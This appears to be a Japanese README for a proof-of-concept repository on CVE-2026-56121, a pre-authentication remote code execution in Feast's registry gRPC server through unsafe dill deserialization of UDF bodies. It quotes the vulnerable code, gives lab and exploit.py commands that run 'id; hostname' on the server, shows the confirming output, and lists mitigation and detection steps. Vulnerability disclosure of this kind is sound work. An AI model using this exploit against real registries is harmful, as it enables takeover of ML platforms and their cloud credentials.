biitts/cve-2026-56121-feast-unauth-rceCVE-2026-56121 — Feast <0.63.0 の未認証RCE（gRPCレジストリのOnDemandFeatureView UDFのdill.loads経由、(pre-auth)）。Lab + PoC、エンドツーエンド確認済み。
Feast
< 0.63.0のレジストリ gRPC サーバーは、OnDemandFeatureViewのユーザー定義関数を、仕様が到着するとすぐに（認証チェックの前に）dill.loads()します。出荷時の設定はauth: no_authであり、レジストリポート（デフォルト6570）に到達可能なクライアントは、悪意のある pickle を仕込んだApplyFeatureView要求を1つ送信するだけで、認証不要のリモートコード実行を実行できます。
| CVE | CVE-2026-56121 |
| 影響を受けるバージョン | Feast < 0.63.0 |
| 修正バージョン | 0.63.0 |
| クラス | CWE-502 (信頼できないデータのデシリアライゼーション) → RCE |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 認証 | なし （auth: no_auth がデフォルト。デシリアライゼーションは認可前に発生） |
| 攻撃面 | registry gRPC RegistryServer.ApplyFeatureView (デフォルトポート 6570) |
| 状態 | 確認済み — feast==0.62.0 に対してエンドツーエンドで再現済み |
sdk/python/feast/registry_server.py:
def ApplyFeatureView(self, request, context):
feature_view_type = request.WhichOneof("base_feature_view")
...
elif feature_view_type == "on_demand_feature_view":
feature_view = OnDemandFeatureView.from_proto(request.on_demand_feature_view) # (1) deserialize
...
assert_permissions_to_update(resource=feature_view, ...) # (2) authorize
self.proxied_registry.apply_feature_view(...)
from_proto (1) は権限チェック (2) の前に呼び出されます。これは変換を解析し、UDF のボディを dill.loads() します — sdk/python/feast/transformation/pandas_transformation.py（および python_transformation.py）：
@classmethod
def from_proto(cls, user_defined_function_proto):
return cls(
udf=dill.loads(user_defined_function_proto.body), # <-- 攻撃者制御の pickle
udf_string=user_defined_function_proto.body_text,
)
dill は pickle のスーパーセットであり、攻撃者バイト列に対する dill.loads() は pickle の __reduce__ 機構を呼び出し → 任意のコード実行につながります。assert_permissions_to_update の前に実行されること、そしてデフォルトの auth: no_auth によりそのチェックがそもそも無効化されるため、この RCE は認証不要です。
# 1. Start a vulnerable registry server (feast 0.62.0, gRPC :6570, default no_auth)
docker compose -f lab/docker-compose.yml up --build -d
# 2. Fire the PoC (no credentials)
pip install "feast==0.62.0" grpcio
python3 exploit.py 127.0.0.1:6570 -c "id; hostname"
# 3. Command output appears on the registry host
docker compose -f lab/docker-compose.yml exec feast cat /tmp/feast_pwned
# uid=...(...) <hostname>
確認結果：
[*] sending ApplyFeatureView with a 124-byte malicious pickle in user_defined_function.body
[*] RPC status: UNKNOWN - Exception calling application: 0 is not a module, class, method, or function.
[+] dill.loads executed the payload server-side during from_proto.
RPC は最終的にエラーになります（アンピックルされたオブジェクトは呼び出し可能な UDF ではなくなります）が、コマンドは dill.loads() の実行中に既に実行されています — cat /tmp/feast_pwned は生の id/uname 出力を返し、エコーではなく実際に実行されたことを証明します。
Feast レジストリ gRPC ポートに到達可能な者は誰でも、レジストリサービスアカウントとして任意の OS コマンドを実行できます。これにより、フィーチャーストア、オフライン/オンラインストア、レジストリ、およびそれらに接続されたクラウド認証情報が完全に侵害されます。Feast レジストリは、SDK クライアントが呼び出すために、ML プラットフォーム内部で頻繁に公開されています。
skip_udf パスが追加され、レジストリサーバーが受信仕様の UDF ボディをデシリアライズしなくなります。auth（oidc/kubernetes）を有効にし、レジストリポートを信頼できないネットワークに公開しないでください。ただし、< 0.63.0 では、認証だけでは十分ではありません。なぜなら、デシリアライゼーションが認可チェックの前に発生するからです。信頼できないクライアントから送信された OnDemandFeatureView の user_defined_function.body を含む ApplyFeatureView / ApplyMaterialization RPC や、レジストリプロセスがシェルを起動した場合にアラートを発してください。
プロトパス、認可前デシリアライゼーションの順序、およびパッチについては ANALYSIS.md を参照してください。